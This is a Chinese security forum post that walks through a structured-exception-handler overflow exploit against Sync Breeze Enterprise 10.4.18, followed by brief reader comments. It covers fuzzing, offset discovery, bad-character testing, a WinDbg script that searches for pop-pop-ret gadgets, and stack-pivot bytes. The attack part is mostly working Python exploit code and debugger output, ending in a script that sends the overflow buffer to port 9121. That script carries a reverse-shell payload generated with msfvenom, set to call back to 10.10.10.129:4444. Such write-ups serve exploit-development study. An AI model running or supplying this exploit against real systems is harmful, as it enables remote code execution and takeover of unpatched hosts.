首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
2
18
[原创] Windows SEH 结构化异常溢出分析记录
发表于: 2025-12-20 14:23
20042
[原创] Windows SEH 结构化异常溢出分析记录
Cypher.M
3
2025-12-20 14:23
20042
# Windows SEH 结构化异常溢出分析记录 ## 1.概念 这个部分是最基础的,一切都先从理解SEH结构体开始这个结构体大概如下: ```c struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4字节:指向下一个节点的指针 PEXCEPTION_ROUTINE Handler; // 4字节:异常处理函数的地址 }; ``` 举个例子,假设一个程序,为了程序的健壮,大概会写这样的代码: 注意这个代码写的和下面图是不一样的,只是为了理解内存图写的代码而已,这样写方便理解。 ```c++ #include <stdio.h> #include <stdlib.h> int seh1(){} // 异常处理逻辑1 int seh2(){} // 异常处理逻辑2 int seh3(){} // 异常处理逻辑3 int s1(){} //业务逻辑1 int s2(){} //业务逻辑2 int main(){ __try { s1(); // 业务逻辑1 } __except ( /* filter expression */ ) { seh1(); //异常处理逻辑1 } __try { } __except ( /* filter expression */ ) { seh2(); //异常处理逻辑2 } } ``` OK上述代码应该足够清晰明了,现在假设`s2()`这个函数是用于从网络上接受数据的业务逻辑函数,如果我们需要远程攻击这个程序,假设此时从`s2()`处引发的崩溃,那么在内存当中的异常处理就会如下所示 ``` s2()接收到的buffer --触发-->seh2() ``` 注意到上面这个点,我特意隐去了无关部分,只是说这个调用关系,在`s2()`引发的异常,是无法影响`s2()`之前的部分的(`seh1()`)。 换做更复杂的调用也是一样,首先,溢出是从低地址向高地址的。那么如果在触发溢出之前,就有别的异常处理,是完全无法控制溢出之前的一场处理的,假设如下: ``` 内存地址 (低 -> Low Address) | | SEH节点,假设在低地址有一个SEH | | ---------------------------------- | [ Buffer 的起始位置 ] <--- 假设这里有个函数 S2()在接收buffer造成溢出 | ---------------------------------- | | | | (你的 1000 个 'A' 只能往这个方向写!) | V (向高地址覆盖) | | ---------------------------------- | [ SEH 节点 ] <--- 这是SEH2 | (它在下面/后面) | (被 AAAA 淹没) | ---------------------------------- | 内存地址 (高 -> High Address) ``` OK理解到这里的概念以后,那么SEH的利用流程大概如下: ``` 引发崩溃-> SE Handle -> Next SEH -> jmp shellcode -> execute shellcode ``` 在某个功能点引发崩溃,然后系统会去找SEH结构体来处理崩溃,系统找SEH结构体时先找的是`SE Handler`,这按照常理来说,是异常处理的逻辑部分的地址,所以不能让它真的走到这个异常处理,而是让他走到一个`PPR(pop pop ret)`的逻辑的地址,让他最后回到这里来,不能真的让程序去找异常处理的逻辑,当程序的流程回到这里以后,此时`eip`会执行它此时指向的地址的指令(和平常一样),但是由于我们没有真的去处理异常,而是用了`PPR`的指令让它回来,所以`eip`此时一定会指向SEH结构体当中的`Next SEH`这个部分,之后让`Next SEH`这个部分指令直接跳到shellcode的位置即可。 ## 2.实操 ### 2.1 Fuzz 测试 漏洞程序 `syncbreezeent_setup_v10.4.18` `exploit-db` : <mark class="encrypted">784K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7K6z5e0x3$3</mark> 安装好环境以后,用这个基础`Poc`来进行调试分析 ```python #!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b'A' * size header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!") ``` 执行`exp`查看`windbg`日志,通过`windbg`日志可以看出来,溢出到了某个`SEH`结构体  ### 2.2 定位溢出位置 使用`msf`生成有序字符串 ``` msf-pattern_create -l 1000 ``` 修改`exp`,查看`windbg`,可以看到`SE Handler`在`128` 的位置 ```python inputBuffer = b'......' # msf 生成的字符串 ```   根据`SEH`结构体修改一下代码,加载到`windbg` ```python port = 9121 size = 1000 Next_SEH = b'B' * 4 SE_Handler = b'C' * 4 inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + b'D' * (size - 132) ``` 可以看到`SE Handler`和`Next SEH`都已经被覆盖了,符合代码预期 `Next SEH` -> `B`填充 `SE Handler` -> `C`填充 后续的缓冲区部分被`D`填充  ### 2.3 坏字符检测 修改代码 ```python port = 9121 size = 1000 Next_SEH = b'B' * 4 SE_Handler = b'C' * 4 badchars = b'\x01\x02\x03\x04......' # 坏字符串 inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + badchars inputBuffer += b'D' * (size - len(inputBuffer)) ``` 加载到`windbg`,看到这个部分`\x02`是第一个坏字符(默认情况下`\x00`就是坏字符,所以不特别提及)  重复上面的步骤找出所有坏字符 ``` \x00 \x02 \x0a \x0d ``` 例图:   ### 2.4 PPR && jmp指令 前置准备都做完了,接下来我们需要找一组`PPR`指令,也就是 `pop eax/ebx/ecx/edx/esi/edi/ebp ; pop eax/ebx/ecx/edx/esi/edi/ebp ; ret` 利用`pop`指令把前面的垃圾数据弹出去,然后利用`ret`回到当前栈。 这里这样理解有些抽象,接下来我们通过`windbg`来转储查看这个过程。 ```python port = 9121 size = 1000 Next_SEH = b'B' * 4 SE_Handler = b'C' * 4 shellcode = b'\x90' * 400 # \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcode inputBuffer += b'D' * (size - len(inputBuffer)) ``` 在`windbg`当中查看这个过程  我们先来看这个部分,`shellcode`在`Next SEH`和`SE Handler`之后,当前的`eip`指向了`SE Handler`符合在概念部分理解的SEH结构体工作原理。所以此时如果想要执行这个`shellcode`,那就需要把前面两个部分给弹出去。从这个部分可以观察到,当前`ESP + 8`的位置,就是`SEH`结构体的地址,而`SEH`结构体的部分后面跟着的就是`shellcode`的部分,所以思路就是我们需要跳回这里,然后把 `42424242(Next SEH)` 的部分换成一个短跳转的指令。 ``` 0:011> dd esp L4 01b0f440 76fb3c22 01b0f540 01b0ff44 01b0f55c 0:011> dd 01b0ff44 L4 01b0ff44 42424242 43434343 90909090 90909090 ``` 那么让我们先来修改`Next SEH`的部分,将这个部分指令换成`jmp short 0x8`确保能够跳到后续的`shellcode`部分,为了避免坏字符,所以用`\x90`来填充。 ```python port = 9121 size = 1000 Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 ``` 先不着急验证,接下来处理刚刚最核心的部分`PPR`,需要让程序的执行流回到刚刚设置的这个指令处,接下来的方式有很多种,可以用`pykd`/`narly`/`rp++`,目前使用`narly`结合脚本来查找。 <a href="elink@a88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3!0J5j5h3N6W2i4K6u0W2k6$3!0G2k6$3I4W2j5i4m8A6M7#2)9J5k6h3y4G2L8g2)9J5c8X3N6G2L8$3N6D9k6g2)9J5k6r3y4G2k6r3g2Q4x3X3c8S2M7X3y4Z5K9i4k6W2i4K6u0V1k6r3!0%4L8X3I4G2j5h3c8K6i4K6u0r3N6U0u0Q4x3V1k6U0L8$3c8W2i4K6u0W2k6$3!0G2k6$3I4W2i4K6u0W2j5$3!0E0i4K6u0r3L8X3q4J5L8s2W2Q4x3V1k6F1j5i4u0D9P5g2)9#2k6U0m8Q4x3X3f1J5j5g2)9J5k6i4A6A6M7l9`.`.">下载链接</a> 然后在`windbg` 加载 ``` .load C:\Users\cc\Desktop\narly\narly # 加载完成后 !nmod ``` 执行 `!nmod` 会输出所有 loaded modules 及其内存保护  我们来看这个部分,以00开头的`dll`是不可用的,因为如果要使用,就必然包含一个`\x00`这样的坏字符。所以实际上能用的就只有`libpal`,注意:查找`PPR`指令的方式有非常多种,比如现在当我们得知要查找的`dll`以后可以直接使用`rp++`导出。我们现在使用的方式是,利用`windbg`的脚本查找。 `find_ppr.wds` ``` .block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10000000 10226000 $t0 $t1 c3 } } } ``` 之后在`windbg`当中加载,能找到非常非常多,挑选地址不存在坏字符的。  接着修改`exp`,如果一切顺利,我们应该会走到`shellcode`当中 ```python port = 9121 size = 1000 Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 jmp short 0x8; nop; nop ; SE_Handler = b'\x60\x86\x08\x10' # 0x10088660 -> pop eax;pop ebx ;ret; shellcode = b'\x90' * 400 # \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcode inputBuffer += b'D' * (size - len(inputBuffer)) ``` 加载到`windbg`当中验证这个逻辑  从`windbg`的记录可以清晰的看到,已经走到了模拟`shellcode`的部分,正在执行`nop`指令。 **注意,这里的PPR指令会因为dll的加载顺序而不同** 这一点非常重要,来看两段windbg记录 ```text 0:009> u 0x1015a2f0 1015a2f0 ?? ??? ^ Memory access error in 'u 0x1015a2f0' 0:009> u 10088660 libpal!md5_starts+0xf100: 10088660 58 pop eax 10088661 5b pop ebx 10088662 c3 ret 10088663 90 nop 10088664 90 nop 10088665 90 nop 10088666 90 nop 10088667 90 nop -----------------------------第二段--------------------------------------- 0:009> u 0x1015a2f0 *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll libspp!pcre_exec+0x16460: 1015a2f0 58 pop eax 1015a2f1 5b pop ebx 1015a2f2 c3 ret 1015a2f3 90 nop 1015a2f4 90 nop 1015a2f5 90 nop 1015a2f6 90 nop 1015a2f7 90 nop 0:009> u 0x10088660 libspp!SCA_ExcludeDirs::IsDirExcluded+0xf0: 10088660 8d84248c000000 lea eax,[esp+8Ch] 10088667 50 push eax 10088668 e8e10c0d00 call libspp!pcre_exec+0x154be (1015934e) 1008866d 83c408 add esp,8 10088670 85c0 test eax,eax 10088672 7475 je libspp!SCA_ExcludeDirs::IsDirExcluded+0x179 (100886e9) 10088674 8bf8 mov edi,eax 10088676 83c9ff or ecx,0FFFFFFFFh ``` 也就是两个地址其实都没错,只是一个是`libspp`的 一个是`libpal` 都是PPR指令,暂时无法从代码层面来解决这个问题。这个问题的原因是:`libspp.dll` 和 `libpal.dll` 的首选基址可能都是 `0x10000000`,所以exp也因为这个原因,不能做到100%成功,每次运行都有50%的概率。 ### 2.5 Shellcode 位置选择 所有的逻辑都通了以后,需要查看剩余的空间是否足够写入`shellcode` ```python port = 9121 size = 1000 Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 jmp short 0x8; nop; nop ; SE_Handler = b'\x60\x86\x08\x10' # 0x10088660 -> pop eax;pop ebx ;ret; # SE_Handler = b'\xf0\xa2\x15\x10' # 0x1015a2f0 -> pop eax;pop ebx ;ret; # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x02\x0a\x0d' shellcode = b'\x90' * 400 # \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcode inputBuffer += b'C' * (size - len(inputBuffer)) ``` 来查看`windbg`当中的输出(注意此时我的断点就是在PPR指令,不要在意是哪个PPR地址),可以明显看到没有字符`C`的痕迹。这块缓冲区有128字节大小。  显然这个缓冲区不足以写入`shellcode`,需要找到后续的`C`字符,写在哪里。来搜索一下,找到了位置以后计算一下和当前的距离`0x7d4`字节距离 **注意:环境差异,栈基址的变化:不同的操作系统版本(Win7 vs Win10)、不同的补丁号(Patch Level),甚至仅仅是环境变量的长度不同,都会导致栈的起始位置(Stack Base)发生微小的偏移。** **在 Exploit 开发中,绝对偏移量(Absolute Offset)几乎永远是不固定的。不能依赖“向后跳 `0x7d4` 字节”这种硬编码的指令,因为换台机器可能就变成了 `0x800`,攻击就失效了。这也引出了解决“空间不足”问题的终极方案——Egg Hunter(猎蛋技术)**。 但是`Egg Hunter`技术不在这里细说,当前文章主要写SEH溢出 ```text 0:009> !teb TEB at 00317000 ExceptionList: 0180f454 StackBase: 01810000 StackLimit: 0180e000 .... 0:009> s -b 0180e000 01810000 90 90 90 90 43 43 43 43 43 43 43 43 0180fc20 90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43 ....CCCCCCCCCCCC 0:009> ? 0180fc20 - @esp Evaluate expression: 2004 = 000007d4 ``` 继续修改代码 ```python port = 9121 size = 1000 Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 jmp short 0x8; nop; nop ; # SE_Handler = b'\x60\x86\x08\x10' # 0x10088660 -> pop eax;pop ebx ;ret; SE_Handler = b'\xf0\xa2\x15\x10' # 0x1015a2f0 -> pop eax;pop ebx ;ret; # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x02\x0a\x0d' add_esp_jmp_esp = b'\x90' * 20 + b'\x66\x81\xC4\xD8\x07' + b'\xff\xe4' # nop*20;add sp,0x7d8;jmp esp; add_esp_jmp_esp += b'\x90' * (400 - len(add_esp_jmp_esp)) # \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + add_esp_jmp_esp inputBuffer += b'C' * (size - len(inputBuffer)) ``` 加载到windbg查看输出,一切如代码预期,顺利走到了shellcode的预设位置  ### 2.6 Get Shell 使用`msf`生成`shellcode` ```python #!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 jmp short 0x8; nop; nop ; # SE_Handler = b'\x60\x86\x08\x10' # 0x10088660 -> pop eax;pop ebx ;ret; SE_Handler = b'\xf0\xa2\x15\x10' # 0x1015a2f0 -> pop eax;pop ebx ;ret; add_esp_jmp_esp = b'\x90' * 20 + b'\x66\x81\xC4\xD4\x07' + b'\xff\xe4' # nop*20;add sp,0x7d8;jmp esp; add_esp_jmp_esp += b'\x90' * (400 - len(add_esp_jmp_esp)) # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x02\x0a\x0d' shellcode = b"" shellcode += b"\xdd\xc1\xd9\x74\x24\xf4\xbd\x59\x2c\xf7\x56" # ...... # \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + add_esp_jmp_esp inputBuffer += b"\x90" * 20 inputBuffer += shellcode # inputBuffer += b'C' * (size - len(inputBuffer)) header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!") ```
回复或点赞可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
#漏洞分析
#漏洞利用
#缓冲区溢出
#Fuzz
#Windows
收藏
・
2
点赞
・
18
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
git_99440qimingminimax
为你点赞!
1天前
TnT柠檬茶
你的分享对大家帮助很大,非常感谢!
2026-9-15 11:54
git_51951meggadf3df
非常支持你的观点!
2026-9-11 09:13
mb_dzntuqwg
谢谢你的细致分析,受益匪浅!
2026-9-8 15:18
铭信
你的帖子非常有用,感谢分享!
2026-9-7 21:56
mb_lthgjpwj
为你点赞!
2026-8-21 08:17
mb_wsoacceo
为你点赞!
2026-8-11 01:27
wx_晨梦
感谢你的贡献,论坛因你而更加精彩!
2026-7-16 06:48
git_69042ahyun1101
感谢你分享这么好的资源!
2026-6-27 12:20
zhongdong
为你点赞!
2026-6-23 10:24
Dy1an
这个讨论对我很有帮助,谢谢!
2026-4-30 15:18
npc0vo
为你点赞!
2026-4-26 04:03
aจุ๊บ
感谢你的贡献,论坛因你而更加精彩!
2026-3-24 14:45
superlover
谢谢你的细致分析,受益匪浅!
2025-12-29 08:40
安全裤
这个讨论对我很有帮助,谢谢!
2025-12-26 14:05
周旋久
感谢你分享这么好的资源!
2025-12-24 22:17
appview
非常支持你的观点!
2025-12-22 19:26
huangyalei
你的分享对大家帮助很大,非常感谢!
2025-12-20 23:26
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
10
)
FindCall
雪 币:
52
活跃值:
(1203)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
93
粉丝
1
关注
私信
FindCall
2
楼
看看
2025-12-22 17:53
0
fengyelan
雪 币:
106
活跃值:
(2019)
能力值:
( LV2,RANK:10 )
在线值:
发帖
7
回帖
99
粉丝
2
关注
私信
fengyelan
3
楼
mark
2025-12-23 11:12
0
拍拖
雪 币:
2790
活跃值:
(7011)
能力值:
( LV6,RANK:90 )
在线值:
发帖
22
回帖
425
粉丝
15
关注
私信
拍拖
2
4
楼
66666
2025-12-24 16:19
0
飞飞ESP
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
飞飞ESP
5
楼
已关注,莫辜负
2025-12-26 09:51
0
qiantang
雪 币:
163
活跃值:
(945)
能力值:
( LV3,RANK:30 )
在线值:
发帖
3
回帖
39
粉丝
13
关注
私信
qiantang
6
楼
已关注,莫辜负
2025-12-29 11:09
0
mb_shcwwwyw
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
1
粉丝
0
关注
私信
mb_shcwwwyw
7
楼
2025-12-30 21:51
0
yber
雪 币:
9
活跃值:
(425)
能力值:
( LV6,RANK:90 )
在线值:
发帖
3
回帖
167
粉丝
0
关注
私信
yber
8
楼
2026-1-9 13:42
0
aจุ๊บ
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
4
粉丝
0
关注
私信
aจุ๊บ
9
楼
刚开始的验证是:g运行跑空 然后exp验证 然后继续g 然后就可以看到eip被改为0x41414141了吗?为啥我第二个G是second chance的异常
2026-3-25 09:10
0
mb_leotpxnu
雪 币:
4
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
1
粉丝
0
关注
私信
mb_leotpxnu
10
楼
tql
2026-8-31 10:56
0
xyzliao
雪 币:
674
活跃值:
(5628)
能力值:
( LV3,RANK:20 )
在线值:
发帖
4
回帖
128
粉丝
4
关注
私信
xyzliao
11
楼
1
4天前
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Cypher.M
3
8
发帖
2
回帖
160
RANK
关注
私信
他的文章
[原创] exploit-db exp 优化SEH Egghunter
13498
[原创] Egg Hunter 技术详解
22724
[原创] ***RCE分析记录
29415
[原创] Windows SEH 溢出漏洞分析记录 - KNet
14661
[原创] SEH 溢出调试分析记录-Diskpls
17381
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部